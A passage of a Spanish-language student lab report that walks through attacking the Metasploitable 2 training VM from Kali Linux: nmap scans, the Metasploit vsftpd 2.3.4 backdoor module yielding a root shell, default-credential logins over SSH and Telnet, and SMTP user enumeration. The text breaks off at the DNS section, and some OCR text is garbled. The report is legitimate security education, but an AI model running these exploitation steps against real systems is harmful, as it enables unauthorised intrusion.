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1. INTRODUCCION

En este documento se explica de manera clara como se pueden explotar
vulnerabilidades encontradas en varios puertos de la maquina virtual Metasploitable 2,
empleando Kali Linux como entorno de prueba. La meta principal es ilustrar, de forma
detallada, cobmo un atacante podria utilizar fallas en la seguridad para conseguir acceso o
datos sensibles de un sistema, y asi resaltar la relevancia de implementar mecanismos de
proteccion. Para realizar esta actividad, se establecid un entorno controlado que consiste en
dos maquinas virtuales ubicadas en la misma red: Kali Linux, que actia como el dispositivo

atacante. Metasploitable 2, que funciona como el dispositivo objetivo.
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2. OBJETIVOS

Objetivo general:

Realizar un andlisis y explotacion controlada de puertos vulnerables en

Metasploitable 2 usando Kali Linux.

Objetivos especificos:

Escanear puertos para identificar servicios activos.

Determinar vulnerabilidades presentes.

Ejecutar exploits para comprobar la explotacion.

Documentar resultados y aprendizajes.
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3. DESARROLLO DEL LABORATORIO
3.1 Configuracion del Entorno de Pruebas

3.1.1 Configuracion de la red virtual

Para que las maquinas virtuales puedan comunicarse entre si, se configurd una red
interna en VirtualBox utilizando el modo Red solo-anfitrion.
En este caso, se cre6 una red llamada Red_semestre9 2025-1, con el prefijo [Pv4
178.90.90.0/24 y con el servidor DHCP habilitado. Esto permitié que las maquinas Kali
Linux (atacante) y Metasploitable 2 (objetivo) obtuvieran direcciones IP dentro del mismo
rango, facilitando la conexion y las pruebas. En la siguiente figura se aprecia la

configuracion utilizada:

TS Oracle VirtualBox Administrador = (] =

Archive Maquina Red Ayuda
8%3 Herramientas "_/(J g= ﬁ @ @
o p—

Redes solo-anfitrign Redes MNAT Redes en la nube

Crear Eliminar Propiedades
e Kali
, @ Apagada

}E"\ Parrot Security
o @Apagada

Mombre Prefijo IPv4 Prefijo IPvE Servidor DHCP
Red_semestre9_2025-1 178.90.90.0/24 fd17:625c:f037:5a5a:/... Habilitado

.;"Z!'-\ OSINT
o @Apagada

z!‘! WINDOWS XP
'—fo @ Apagada

Metasploitable3-ub1404
‘ f @ Apagada

[ E. metasploitable3-worksp...
|
2008 () Apagada Mombre: Red_semestred_2025-1

Opciones generales Reenvic de puertos

iy Metasploitable2 Prefijo [Pwd: 178.90.90.0/24

Al © apagacs B Habilitar DHCP
[ Habilitar IPv6
Prefijo I[PwE: fd17:625c:f037:5a5a:/64
Anunciar ruta por defecto IPvé

Aplicar Restaurar

llustracion 1-Configuracion de la red virtual
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3.2 Verificacion de conexion en Kali Linux

Una vez configurada la red en VirtualBox, se procedi6 a iniciar la maquina Kali
Linux para comprobar que estaba correctamente conectada al mismo segmento de red que

Metasploitable2

Para ello, se utiliz6 el comando: ifconfig

El resultado mostrd que la interfaz de red ethO tenia asignada la direccion IP
178.90.90.6, con mascara de subred 255.255.255.0 y direccion de difusion (broadcast)

178.90.90.255.

Esto confirma que la maquina Kali Linux se encontraba dentro de la red 178.90.90.0/24,

lista para comunicarse con la maquina objetivo.

yeiber@Yeiber: ~

Archivo Acciones Editar Vista Ayuda

— — [~

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 178.90.90.6 netmask 255.255.255.@0 broadcast 178.90.90.255
inet6 fe8@::af7c:2f6a:8cdb4:eeds4 prefixlen 64 scopeid 0x20<1link>
ether 08:00:27:28:fe:3f txqueuelen 1000 (Ethernet)
RX packets 29 bytes 5120 (5.0 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 23 bytes 3092 (3.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

llustracion 2-Verificacion de conexion en Kali Linux
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33 Verificacion de conexion en Metasploitable 2

En la méaquina virtual Metasploitable 2 también se verific6 la direccion IP asignada

mediante el comando: ifconfig

El resultado mostrd que la interfaz de red ethO tenia asignada la direccion IP
178.90.90.4, con mascara de subred 255.255.255.0 y direccion de difusion 178.90.90.255.
Esto confirma que Metasploitable 2 se encuentra en el mismo segmento de red que Kali

Linux, permitiendo la comunicacion directa entre ambas maquinas.

sfadmin@metasploitable:™5 ifconfig
EthO Link encap:Ethernet HUaddr 08:00:Z7:a4:19:03
inet addr:178.90.90.4 Bcast:178.90.90.255 Mask:255.255.255.0
inett addr: feB0::a00:27ff :fea4:1903-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MIU:1500 HMetric:1
RX packets:87 errors:0 dropped:0 overruns:0 frame:0
TX packet=:67 errors:0 dropped:0 overruns:0 carrier:®
collisions:0 txqueuelen:1000
RX bytes:14117 (13.7 KB) TX bytes:72Z6 (7.0 KB)
Base address:0xd020 Memory:f0200000-f0Z220000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACEK RUNNING HMTU:16436 Metric:1

RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:97 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:0O

RX bytes:21529 (21.0 KB) TX bytes:21529 (Z21.0 KB)

sfadmin@metasploitable: ™5

llustracion 3-Verificacion de conexion en Metasploitable 2

3.4  Fase de Reconocimiento y Escaneo

3.4.1 Escaneo de puertos y deteccion de servicios

Con ambas maquinas virtuales conectadas a la misma red, el siguiente paso fue
identificar qué puertos y servicios estaban abiertos en Metasploitable 2.

Para ello, desde Kali Linux se utiliz6 la herramienta Nmap con el siguiente comando:
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nmap 178.90.90.4

Donde:

e nmap es la herramienta utilizada para el escaneo de redes y puertos.

o 178.90.90.4 es la direccion IP de la maquina objetivo (Metasploitable 2).

El escaneo reveld multiples puertos abiertos, cada uno correspondiente a un servicio

especifico. Entre los mas importantes se encontraron:

21/tep — FTP

e 22/tecp—SSH

e 23/tcp — Telnet

e 25/tecp — SMTP

e 53/tcp — DNS

e 139/tcp y 445/tcp — Servicios de comparticion de archivos (Samba)

e 2121/tep — FTP alternativo

e 3306/tcp — MySQL

e 5432/tcp — PostgreSQL

Estos resultados indicaron que el sistema objetivo tenia varias posibles

vulnerabilidades que podian ser aprovechadas para obtener acceso o extraer informacion.
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— ~

[sudo] contrasena para yeiber:
/home/yeiber

178.90.90.4

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 ©09:47 -05

Nmap scan report for 178.90.90.4.dynamic.telecom.kz (178.90.90.4)

Host is up (0.000092s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 08:00:27:A4:19:03 (PCS Systemtechnik/Oracle VirtualBox virtual N

llustracion 4-Escaneo de puertos y deteccion de servicios

3.4.2 Deteccion de versiones de servicios

Tras identificar los puertos abiertos en el escaneo inicial, se procedié a obtener
informacion mas detallada sobre las versiones de los servicios que se ejecutan en la
maquina objetivo.

Para ello se utilizo el comando:

nmap -sV 178.90.90.4

Donde:
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e -sVindica a Nmap que realice una deteccion de versiones de los servicios

encontrados.

o 178.90.90.4 es la IP de la maquina Metasploitable 2.

El resultado mostro, una gran cantidad de servicios y versiones, pero por ahora nos

concentraremos en las siguientes:

FTP (vsftpd 2.3.4) — Vulnerable a una puerta trasera conocida.

e SSH (OpenSSH 4.7p1) — Version antigua con posibles fallos de seguridad.

e Telnet (Linux telnetd) — Servicio inseguro que transmite credenciales en texto

plano.

e  SMTP (Postfix smtpd) — Servicio de correo.

o Apache httpd 2.2.8 — Servidor web con vulnerabilidades conocidas.

e Samba smbd 3.x — 4.x — Servicio de comparticién de archivos, con posibles

exploits remotos.

e MySQLS5.0.51a y PostgreSQL 8.3.x — Motores de bases de datos con fallos

conocidos.

Este nivel de detalle permite identificar vulnerabilidades especificas y seleccionar

los exploits mas apropiados para cada puerto en Metasploitable 2.
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= 178.90.90.4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-05 09:49 -05
Nmap scan report for 178.90.90.4.dynamic.telecom.kz (178.90.90.4)
Host is up (0.00013s latency).
: 977 closed tcp ports (reset)
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpcbind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
open exec?
open login?
open shell?
open java-rmi GNU Classpath grmiregistry
open bindshell Metasploitable root shell
open nfs 2-4 (RPC #100003)
open ftp ProFTPD 1.3.1
open mysql MySQL 5.0.51a-3ubuntu5
open postgresql PostgreSQL DB 8.3.0 - 8.3.7
open vnc VNC (protocol 3.3)
open X11 (access denied)
open irc UnrealIRCd
open ajpl3 Apache Jserv (Protocol v1.3)
open http Apache Tomcat/Coyote JSP engine 1.1
Address: 08:00:27:A4:19:03 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.79 seconds

[lustracion 5-Deteccion de versiones de servicios

3.5 Explotacion de Vulnerabilidades

Para comenzar con la explotacion de los servicios identificados en la maquina
Metasploitable 2, se inici6 Metasploit Framework, una de las herramientas mas utilizadas
en pruebas de penetracion.

Metasploit permite buscar, configurar y ejecutar exploits de forma controlada, facilitando la

simulacion de ataques reales.

El comando utilizado fue: msfconsole

Donde:

o msfconsole abre la interfaz principal de Metasploit en la terminal.
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e Aliniciarse, se muestra informacion sobre el nimero de exploits, médulos

auxiliares y payloads disponibles.

Esto marca el punto de partida para seleccionar el modulo adecuado segtn el puerto
y el servicio vulnerables detectados en la fase de reconocimiento.

/home/yeiber

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it
with setg RHOSTS X.X.X.X

____/ Metasploit! \
\ /

2519 exploits - 1296 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops
9 evasion

4
|
I
|
I

LU LI B |
P (e — p—

+ o
|
|
|
|

Metasploit Documentation: https://docs.metasploit.com/

msf6 > ||

[lustracion 6-Inicio de Metasploit Framework

3.5.1 Explotacion del Puerto 21 — Servicio FTP (vsftpd 2.3.4)

Durante la fase de reconocimiento se detectd que el puerto 21/tep estaba abierto y
ejecutaba el servicio vsftpd 2.3.4.

Esta version de vsftpd es conocida por tener una puerta trasera (backdoor) introducida
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maliciosamente en su cddigo, lo que permite a un atacante ejecutar comandos de manera

remota en el sistema objetivo.

Para explotar esta vulnerabilidad, se utiliz6 Metasploit Framework, siguiendo los

pasos:

e Busqueda del exploit adecuado

Se ejecuto el comando: search vsftpd 2.3.4

Esto permitié encontrar el moédulo exploit/unix/ftp/vsftpd 234 backdoor,

disefiado especificamente para esta vulnerabilidad.

e Seleccion del modulo

Se activo el exploit con: use 0

En este punto, el exploit estaba listo para ser configurado con la direccion IP del

objetivo y ejecutarse para obtener acceso remoto.

msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/¥SFEpd 234 backdoor 2011-07-03 No VMSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example inf

sf6 > use @
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > use exploit/unix/ftp/vsftpd_234_backdoor
Using configured payload cmd/unix/interact
msf6 exploit( ) >

llustracion 7-Explotacion del Puerto 21 — Servicio FTP (vsfipd 2.3.4)
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Una vez seleccionado el exploit, el siguiente paso fue decirle a Metasploit a qué

maquina atacar. Esto se hizo configurando la direccion IP de la maquina Metasploitable 2.

Para ello se usaron los siguientes comandos:

e set RHOSTS 178.90.90.4: Con este comando, se definio la direccion IP del
objetivo. RHOSTS significa "Remote Hosts" (equipos remotos) y se le asign6 la IP

de Metasploitable 2.

» options: Este comando se utilizo para revisar que la configuracion fuera correcta. Al
ejecutarlo, se confirmé que el valor de RHOSTS era 178.90.90.4 y el puerto

objetivo (RPORT) era 21, tal como correspondia al servicio FTP.

mst6 exploit
RHOSTS = 178.90.90.4
msf6 exploit( ) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description

RHOSTS 178.90.90.4 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

@ Automatic

View the full module info with the fo, f command.

msf6 exploit(

llustracion 8-Asignar ip RHOSTS

e Acceso al sistema como administrador

Con la direccion IP del objetivo ya configurada, el siguiente paso fue lanzar el
exploit. Para esto, se utilizo el comando exploit, que ejecuta la secuencia de comandos

predefinida para aprovechar la vulnerabilidad.
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Antes de lanzarlo, se estableciod el payload (set payload cmd/unix/interact), que es
el codigo malicioso que se ejecuta una vez que el ataque tiene éxito. En este caso, el
payload abre una shell o terminal de comandos que permite al atacante interactuar con la

maquina de la victima.
Después de ejecutar el comando, se mostraron los siguientes mensajes clave:

e The port used by the backdoor bind listener is already open: Esto confirm6 que

la puerta trasera (backdoor) estaba lista para ser utilizada.

o UID=0(root) GID=0(root): Este mensaje fue crucial, ya que indic6 que el atacante
habia obtenido acceso con los privilegios de un administrador o root, el usuario

con mas poder en un sistema Linux.

e Found shell y Command shell session 1 opened: Estos mensajes confirmaron que
se habia establecido una conexion exitosa con la maquina objetivo, dandole al

atacante control total sobre ella.

Para confirmar que el acceso se obtuvo con privilegios de administrador, se ejecutd
el comando whoami (quién soy yo). La respuesta fue root, lo que demostrd que el atacante
habia logrado tomar el control completo de la méquina Metasploitable 2 aprovechando la

vulnerabilidad del servicio FTP.

L00f
MposwT

Ccouwwsuq 2peff 262270u T obeueq (T18°00°90°0:31202 — T1B°90°90°¥:0500) IF 5052-08-02 J0:13:00 -0200

Lonuq 2peff"
[+] 718°00°00°¥:5T - NID: NIg=(Loof) BIg=(L0OF)
JAB°00°00°¢:5T - 1pe borf n2eq pA fpe pPICKgOOL pTuUQ [T2f6UEL T2 I[LEIQA obeu
wzge exbrors( ) > exbrorg
bgAfosq = cuwq\nUIX\JTULELICL
w2ge exbrore( ) > 26f bshfogq cwq\nuUIX\TULELICL

[lustracion 9- Acceso al sistema como administrador
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ip a: Este comando mostro la configuracion de red de la maquina comprometida. La
salida confirmo que la interfaz de red ethO de Metasploitable 2 tenia la direccion IP
178.90.90.4, lo que sirvio6 para validar que se estaba interactuando con la maquina correcta,

desde "adentro" del sistema.

whoami
root
ip a

100:0
scope host 1

brd ff:ff:ff:ff-ff:fF
55 scope global eth®

llustracion 10-Confirmacion

3.5.2 Explotacion del Puerto 22 — Servicio SSH

Tras el éxito en el puerto 21, se procedio a analizar el siguiente servicio de interés:
SSH, que se encontraba activo en el puerto 22/tcp. A diferencia del FTP, el servicio SSH es

mas seguro, pero Metasploitable 2 tiene una version antigua con posibles debilidades.

En lugar de un exploit que aproveche un fallo de cddigo, un ataque comun contra el
servicio SSH es intentar adivinar las contrasefias de los usuarios, lo que se conoce como un

ataque de fuerza bruta.

e Busqueda del modulo para el ataque
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Para llevar a cabo este tipo de ataque, el atacante utiliz6 Metasploit Framework para

buscar herramientas que le permitieran escanear las credenciales de inicio de sesion de

SSH.

Se utilizo el siguiente comando: search ssh_login

Este comando arroj6 como resultado un moédulo auxiliar llamado
auxiliary/scanner/ssh/ssh_login. A diferencia de un exploit, este médulo no aprovecha una
vulnerabilidad especifica, sino que esta disefiado para probar combinaciones de nombres de

usuario y contrasefias de manera automatica.

msf6 > search ssh_login

Matching Modules

# Name Disclosure Date
Description

@ auxiliary/scanner/ssh/ssh_login 2 normal
SSH Login Check Scanner

1 auxiliary/scanner/ssh/ssh_login pubkey . normal
SSH Public Key Login Scanner

Interact with a module by name or index. For example

msf6 > |

llustracion 11-Explotacion del Puerto 22 — Servicio SSH

e Configuracion y ejecucion del ataque de fuerza bruta

Se procedié a configurar el médulo auxiliar de Metasploit para llevar a cabo el

ataque de fuerza bruta sobre el servicio SSH.
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Se realizaron los siguientes pasos:

» Seleccion del médulo: Se cargd el mdodulo de escaneo de SSH con el comando

use auxiliary/scanner/ssh/ssh_login.

» Configuracion de parametros: Se definieron los parametros necesarios para la

conexion:
o set RHOSTS 178.90.90.4: Se establecio la direccion IP del objetivo.

o set USERNAME msfadmin: Se defini6 el nombre de usuario que se iba a

probar.

o set PASSWORD msfadmin: Se estableci6 la contrasefia que se iba a

probar.

Este escenario representa un ataque de fuerza bruta simple, donde se intenta una
unica combinacion de usuario y contrasefia (msfadmin:msfadmin), la cual es una

credencial predeterminada en Metasploitable 2.

e Acceso exitoso y shell de comandos

Una vez que se configuraron los parametros, se ejecutod el médulo con el comando

El resultado mostré un mensaje de Success (uid=1000(msfadmin)) que confirméd

que la combinacion de usuario y contrasefa era correcta. Inmediatamente después, se
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establecio una sesion de shell SSH (SSH session 1 opened), lo que le otorgd al atacante un

acceso directo y persistente al sistema comprometido.

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary( ) > set RHOSTS 178.90.90.4
RHOSTS = 178.90.90.4
msf6 auxiliary( ) > set USERNAME msfadmin
USERNAME = msfadmin
msf6 auxiliary( ) > set PASSWORD msfadmin
PASSWORD = msfadmin
msf6 auxiliary( ) > run

178.90.90.4:22 - Starting bruteforce
[+] 178.90.90.4:22 - Success: 'msfadmin:msfadmin’ 'uid=1000(msfadmin) gid=100
@(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
44(video),46(plugdev),107(fuse),111(1padmin),112(admin),119(sambashare), 1000(
msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UT
C 2008 i686 GNU/Linux '

SSH session 1 opened (178.90.90.6:45145 — 178.90.90.4:22) at 2025-08-05
21:43:19 -0500

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( ) > |

llustracion 12-Configuracion y ejecucion del ataque de fuerza bruta

e Acceso directo al sistema mediante SSH

Una vez que el atacante descubri6 la credencial correcta (msfadmin:msfadmin), ya
no era necesario utilizar herramientas como Metasploit. En su lugar, podia iniciar una

sesion de forma directa y segura.

El comando utilizado fue el siguiente:

ssh -oHostKeyAlgorithms=ssh-rsa -oPubkeyAcceptedKeyTypes=ssh-rsa

msfadmin@178.90.90.4

Este comando tiene la siguiente finalidad:
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o ssh: Es la herramienta estdndar para conectarse de forma remota y segura a otro

equipo.

o -oHostKeyAlgorithms: Esta opcion se utiliza para asegurar la compatibilidad con

el servidor SSH antiguo de la maquina objetivo.

o msfadmin@178.90.90.4: Indica que se quiere iniciar sesion con el usuario

msfadmin en la direccion IP 178.90.90.4.

Al ejecutar el comando, el sistema solicité la contrasefia. Se introdujo msfadmin vy,

de forma exitosa, obtuvo una terminal de comandos.

La prueba de que el acceso fue exitoso se muestra en la parte inferior de la imagen,
donde el indicador de la terminal cambia de root@ Yeiber (Kali Linux) a
msfadmin@metasploitable, confirmando que el atacante ya se encontraba dentro de la

maquina objetivo con el usuario msfadmin.

root@Yeiber: /home/yeiber

Archivo Acciones Editar Vista Ayuda

/home/yeiber
: - msfadmin
©178.90.90.4

The authenticity of host "178.90.90.4 (178.90.90.4)" can't be established.
RSA key fingerprint is SHA256:BQHMS5EoOHX9GCiOLuVscegPXLQOsuPs+E9d/rriB84rk.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
warning: Permanently added "178.90.9@.4° (RSA) to the list of known hosts.
msfadmin@178.90.90.4"s password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 1@ 13:58:00 UTC 2008 i68
6

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

Last login: Tue Aug

msfadmin@metasploitable:~

msfadmin@metasploitable:

msfadmin@metasploitable:

msfadmin@metasploitable:

llustracion 13-Acceso directo al sistema mediante SSH
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3.5.3 Explotacion del Puerto 23 — Servicio Telnet

El siguiente objetivo fue el servicio Telnet, activo en el puerto 23/tep. Este es uno
de los servicios mas vulnerables, ya que toda la informacidn, incluyendo los nombres de

usuario y las contrasefas, se envia a través de la red sin ninguna proteccién o cifrado.

De forma similar al ataque en el puerto 22 (SSH), se us6 una herramienta para

probar diferentes combinaciones de nombres de usuario y contrasefias.

e Busqueda y seleccion de la herramienta

Desde Metasploit, se utiliz6 el siguiente comando para encontrar una herramienta

adecuada para el ataque: search telnet_login

La busqueda arroj6 un resultado llamado auxiliary/scanner/telnet/telnet _login.
Este es un médulo auxiliar que, al igual que en el caso de SSH, sirve para realizar un ataque

de fuerza bruta probando credenciales de inicio de sesion de forma automatica.

Luego, se seleccion6 el modulo con el comando use
auxiliary/scanner/telnet/telnet login para prepararlo y comenzar con la configuracion del

ataque.

msf6 > search telnet_login

Matching Modules

# Name Disclosure D
ate Rank Check Description

auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06

normal Yes Netgear PNPX_GetShareFolderlList Authentication Bypass
1 auxiliary/scanner/telnet/EelRetlogin =
normal No Telnet Login Check Scanner

Interact with a module by name or index. For example info

msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary( ) >

llustracion 14-Explotacion del Puerto 23 — Servicio Telnet
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e Configuracion del ataque para el puerto 23

Después de seleccionar la herramienta para atacar el servicio Telnet, el atacante

necesitaba configurarla para que supiera a donde dirigirse.

Se realizaron dos acciones principales:

» Definir el objetivo: Se us6 el comando set RHOSTS 178.90.90.4 para establecer la

direccion IP de la maquina Metasploitable 2 como el objetivo del ataque.

» Verificar la configuracion: Se ejecut6 el comando options para revisar todos los
ajustes de la herramienta. Esto permitio al atacante ver opciones como
ANONYMOUS_LOGIN (para probar inicios de sesion anénimos),

BLANK_ PASSWORDS (para probar contrasefias en blanco) y

BRUTEFORCE_SPEED (para controlar la velocidad del ataque).

Con estos pasos, la herramienta quedd completamente configurada y lista para

intentar adivinar las credenciales de acceso.
) > set RHOSTS 178.90.90.%4

)} > options

Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description

ANONYMOUS_LOGIN false yes Attempt to login with a blank user
name and password

BLANK_PA RDS false Try blank passwords for all users

BRUTEFOR PEED 5 How fast to bruteforce, from @ to

CreateSession ( Create a new session for every suc
ul login

llustracion 15-Configuracion del ataque para el puerto 23
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Antes de lanzar el ataque, se definieron los valores para el nombre de usuario y la

contrasefia que la herramienta iba a intentar.

Se utilizaron los siguientes comandos para configurar las credenciales, en este caso,

las mismas que se usaron en el ataque a SSH:

e set USERNAME msfadmin

e set PASSWORD msfadmin

Al verificar las opciones nuevamente, se confirmoé que la herramienta estaba
configurada para intentar iniciar sesion con la credencial msfadmin:msfadmin en la

maquina objetivo.

msf6 auxiliary( ) > options

Module options (auxiliary/scanner/telnet/telnet_login):

Name Current Setting Required Description

ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password

BLANK_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from @ to 5

CreateSession true no Create a new session for every successful login

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepte
d: none, user, usergrealm)

PASSWORD msfadmin no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS 178.90.90.4 yes The target host(s), see https://docs.metasploit.com/docs/using-me
tasploit/basics/using-metasploit.html

RPORT 23 yes The target port (TCP)

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME msfadmin no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair
per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

llustracion 16-Options
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e Acceso al sistema a través de Telnet

Una vez que las credenciales (msfadmin:msfadmin) fueron confirmadas, se logro
iniciar sesion directamente en el sistema utilizando la herramienta Telnet, sin necesidad de

Metasploit.

El comando utilizado fue el siguiente: telnet 178.90.90.4

Este comando establece una conexion de red con el equipo objetivo en el puerto 23.
Como se observa en la imagen, el sistema responde con una pantalla de bienvenida,

pidiendo un nombre de usuario y una contraseia.

El atacante introdujo msfadmin en ambos campos, lo que le permitié iniciar sesion
de forma exitosa. A diferencia de SSH, la conexion Telnet no es segura; todos los datos,
incluidas las credenciales, se envian sin cifrar. Esto significa que cualquier persona que esté

monitoreando la red podria capturar esta informacion facilmente.

msf6 auxiliary( ) > telnet 178.90.90.4
exec: telnet 178.90.90.4

Trying 178.90.90.4 ...

Connected to 178.90.90.4.

Escape character is '*]°.

I_ 11 \
NI NG
[0 ] [ e Y

i/

(_l

il
|
|
] T WA ] S | |

wWarning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin

Password:

Last login: Tue Aug 5 23:12:59 EDT 2025 from 178.90.90.6.dynamic.telecom.kz on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

[lustracion 17-Acceso al sistema a través de Telnet
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3.5.4 Explotacion del Puerto 25 — Servicio SMTP

El siguiente objetivo fue el servicio SMTP (Simple Mail Transfer Protocol), activo
en el puerto 25/tep. Este servicio se utiliza para enviar y recibir correos electronicos.
Aunque no se busca obtener un acceso directo al sistema de inmediato, este servicio puede

ser aprovechado para recolectar informacion util para futuros ataques.

El primer paso es averiguar qué nombres de usuario existen en el sistema, lo que se

conoce como enumeracion de usuarios.

e Busqueda de la herramienta para enumerar usuarios

Desde Metasploit, se utiliz6 el siguiente comando para encontrar una herramienta

que pudiera realizar esta tarea: search smtp_enum

La busqueda encontrd el médulo auxiliary/scanner/smtp/smtp _enum, cuya
funcion es precisamente la de enumerar (escanear y listar) los usuarios existentes en un

servidor SMTP.

msf6 > search smtp_enum

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/scanner/smtp/Smtp_enum . normal No SMTP User Enumeration Utility

Interact with a module by name or index. For example

msfe > ]

llustracion 18-Explotacion del Puerto 25 — Servicio SMTP
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e Configuracion y preparacion del escaneo de usuarios

Una vez seleccionada la herramienta para enumerar usuarios, se procedio a

configurarla para que supiera a donde atacar y qué nombres de usuario buscar.
Se llevaron a cabo los siguientes pasos:

» Definir el objetivo: Se us6 el comando set RHOSTS 178.90.90.4 para establecer la

direccion IP de la maquina Metasploitable 2 como el objetivo.

» Cargar la lista de usuarios: Se utiliz6 el comando set USER_FILE para indicarle
a la herramienta qué lista de nombres de usuario debia probar. En este caso, se cargd
un archivo llamado unix_users.txt, que es una lista predeterminada con nombres de

usuario comunes de sistemas Linux.

Con estos parametros configurados, la herramienta ya estaba lista para conectarse al

servidor SMTP y probar cada nombre de la lista para ver cudles existian en el sistema.

msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary( ) > set RHOSTS 178.90.90.4
RHOSTS = 178.90.90.4

msf6 auxiliary( ) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users
.Ixt

USER_FILE = /usr/share/metasploit-framework/data/wordlists/unix_users.txt

msf6 auxiliary( S |

llustracion 19-Configuracion y preparacion del escaneo de usuarios

Con la herramienta configurada, se ejecut6 el escaneo con el comando run. El
objetivo era que el programa se conectara al servicio de correo y probara cada nombre de la

lista de usuarios para confirmar si existia.

El resultado del escaneo fue exitoso y arroj6 la siguiente informacion:
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o El banner del servidor SMTP de la méaquina, lo que confirmo que la conexion se

hizo de forma correcta.

e Una lista de usuarios encontrados (Users found). Entre ellos, se identificaron

cuentas importantes como backup, ftp, mysql, postgres y ssh, entre otras.

Esta informacion es crucial para un atacante, ya que ahora cuenta con una lista de
nombres de usuario reales que puede utilizar para intentar adivinar contrasefias en otros

servicios, como los que se encuentran en los puertos 22 (SSH) o 23 (Telnet).

msf6 auxiliary
178.90.90.4:25 - 178.90.90.4:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

[+] 178.90.90.4:25 - 178.90.90.4:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc,
libuuid, list, 1lp, mail, man, mysqgl, news, nobody, postfix, postgres, postmaster, proxy, service, sshd, sync, sy

s, syslog, user, uucp, ww-data
178.90.90.4:25 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( >

msf6 auxiliary( N |

[lustracion 20-Resultado-p25

3.5.5 Explotacion del Puerto 53 — Servicio DNS

Se procedi¢ a realizar una busqueda especifica en Metasploit con el comando search
dns. El objetivo fue detectar posibles vulnerabilidades asociadas a servicios de nombres de

dominio (DNS) o componentes relacionados que pudieran representar vectores de ataque.

Entre los resultados obtenidos se destacaron los siguientes modulos:

